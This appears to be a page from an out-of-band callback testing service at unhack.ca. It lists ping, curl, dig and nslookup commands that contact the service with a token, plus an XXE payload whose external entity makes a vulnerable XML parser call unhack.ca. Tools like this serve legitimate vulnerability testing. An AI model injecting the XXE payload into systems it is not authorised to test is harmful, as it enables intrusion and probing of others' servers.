$ ping -c1 -p 00adfcf4cd3e5493daa6e91b0ce33e00 unhack.ca
 
$ curl http://unhack.ca/p/adfcf4cd3e5493daa6e91b0ce33e
 
$ dig adfcf4cd3e5493daa6e91b0ce33e @unhack.ca
 
$ dig adfcf4cd3e5493daa6e91b0ce33e.ns.unhack.ca
 
C:\> nslookup adfcf4cd3e5493daa6e91b0ce33e unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/adfcf4cd3e5493daa6e91b0ce33e">]>
    <foo>&xxe;</foo>
Waiting for ping...